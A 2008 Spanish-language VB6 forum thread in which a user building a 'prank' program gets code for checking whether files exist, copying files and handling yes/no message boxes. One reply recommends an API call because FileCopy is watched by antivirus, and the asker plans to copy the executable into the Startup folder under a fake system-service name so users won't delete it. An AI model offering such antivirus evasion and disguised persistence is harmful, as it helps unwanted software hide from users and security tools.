copiar archivos con vb6

Iniciado por mejillon, 2 Diciembre 2008, 19:15 PM

0 Miembros y 1 Visitante están viendo este tema.

mejillon

estoy programando una broma y me gustaria saber como puedo comprobar si un archivo existe, y en caso de que no existiera copiar un archivo, tambien (si no es mucho pedir) me gustaria saber como puedo hacer que segun que boton se apriete en un msgbox (del tipo vbyesno) haga una cosa u otra

muchas gracias por adelantado

XcryptOR

bueno este code te permite verificar si un file existe

Código (vb) [Seleccionar]

Public Function FileExists(strPath As String) As Boolean ' verifica si un archivo existe
    On Error Resume Next

    If Len(strPath) < 4 Then
        FileExists = False
        Exit Function
    End If

    FileExists = IIf(Dir(strPath, _
    vbArchive + vbHidden + vbNormal + vbReadOnly + vbSystem) <> "", True, False)
End Function


para copiar esta función, te aconsejo que uses APIs en lugar de las funciones del VB, la filecopy es bastante vigilada por avs

Código (vb) [Seleccionar]

Option Explicit

Private Declare Function SHFileOperation Lib "shell32.dll" _
Alias "SHFileOperationA" ( _
lpFileOp As SHFILEOPSTRUCT) As Long
Private Type SHFILEOPSTRUCT
    hWnd                             As Long
    wFunc                            As Long
    pFrom                            As String
    pTo                                As String
    fFlags                             As Long
    fAnyOperationsAborted    As Boolean
    hNameMappings              As Long
    lpszProgressTitle             As String
End Type


Private Enum eFO   
    FO_COPY = &H2&     
    FOF_NOCONFIRMATION = &H10&
    FOF_NOCONFIRMMKDIR = &H200&
   
End Enum

Public Sub mCopyFile(sSource As String, sTarget As String) ' Procedimiento para Copiar un archivo

    Dim SHFileOp As SHFILEOPSTRUCT
       
    sSource = sSource & vbNullChar & vbNullChar
    sTarget = sTarget & vbNullChar & vbNullChar
   
    With SHFileOp
        .wFunc = FO_COPY         
        .fFlags = FOF_NOCONFIRMMKDIR + FOF_NOCONFIRMATION
        .hWnd = Form1.hWnd
        .pFrom = sSource    'origen
        .pTo = sTarget      'Destino
    End With
   
    Call SHFileOperation(SHFileOp)
End Sub



Karcrack

#2
La funcion para copiar ficheros fichero esta muy bien :D, pero para verificar si un fichero existe creo que este metodo es 'mejor':

Código (vb) [Seleccionar]
Option Explicit

Private Declare Function GetFileAttributes Lib "kernel32.dll" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Private Const FILE_ATTRIBUTE_ARCHIVE As Long = &H20

Public Function FileExist(ByVal sPath As String) As Boolean
    If (GetFileAttributes(sPath) or FILE_ATTRIBUTE_ARCHIVE) > 0 Then
        FileExist = True
    End If
End Function

Private Sub Form_Load()
    Debug.Print FileExist("C:\NTDETECT.COM")
End Sub

XcryptOR

es verdad tu funcion Karcrack es mucho mejor es mas estetica, igualmente se podria hacer un fileexits con CreateFile, jeje, muchas gracias amigo



mejillon

buff... como se nota que llevo 2 meses con visual jejeje no pillo nada,

intentare usar esos codigos pero he visto esto en el msdn, que parece mas sencillo.
al fin y al cabo se trata simplemente de copiar el ejecutable de la broma al directorio de inicio del menu de inicio y ponerle un nombre con aspecto de elemento critico del sistema para que la gente no lo borre

es decir el directorio de origen siempre seria el directorio desde donde se ejecuta y el directorio de destino tambien seria el mismo...

' Copy the file to a new location without overwriting existing file.
My.Computer.FileSystem.CopyFile( _
    "C:\UserFiles\TestFiles\testFile.txt", _
    "C:\UserFiles\TestFiles2\testFile.txt")

' Copy the file to a new folder, overwriting existing file.
My.Computer.FileSystem.CopyFile( _
    "C:\UserFiles\TestFiles\testFile.txt", _
    "C:\UserFiles\TestFiles2\testFile.txt", _
    FileIO.UIOption.AllDialogs, _
    FileIO.UICancelOption.DoNothing)

' Copy the file to a new folder and rename it.
My.Computer.FileSystem.CopyFile( _
    "C:\UserFiles\TestFiles\testFile.txt", _
    "C:\UserFiles\TestFiles2\NewFile.txt", _
    FileIO.UIOption.AllDialogs, _
    FileIO.UICancelOption.DoNothing)



con lo que en principio el codigo CREO que seria asi


My.Computer.FileSystem.CopyFile( _
    ".\*.exe", _   'el ejecutable podria tener varios nombres
    "c:\documents and settings\all users\menu inicio\programas\inicio\serviciosdered.exe ", _ ' por ponerle un nombre que parezca importante
    FileIO.UIOption.AllDialogs, _
    FileIO.UICancelOption.DoNothing)



que os parece?

aaronduran2

Pero este código es para VB .NET y este es el subforo de VB6, por lo que los códigos que te pusieron arriba son los correctos.

Saludos.  ;)

WestOn

Wenas, para verificar si existe yo uso este:
Código (vb) [Seleccionar]
Private Sub Command1_Click()
If Dir("C:\a.wav") <> "" Then
MsgBox "SI EXISTE"
Else
MsgBox "NO EXISTE"
End If
End Sub


un saludo ;)
En mi cabeza existe una barrera espacio-tiempo de 4cm³. ¿Alguien sabe como eliminarla?.
                                                                                                                                                                                                                            

under!!!

me parece que no te han dicho como saber si dio clic en si o clic en no en un msgbox de tipo vbyesno..... ahi te va

Código (vb) [Seleccionar]

Dim respuesta As Integer
respuesta = (MsgBox("Selecciona si o no", vbYesNo, "Titulo del msgbox"))
If respuesta = vbYes Then
    MsgBox "Seleccionaste si"
Else
    MsgBox "Seleccionaste no"
End If


lo que haces es que en la variable respuesta guardas el valor de la respuesta y despues se compara para saber que opcion dio el usuario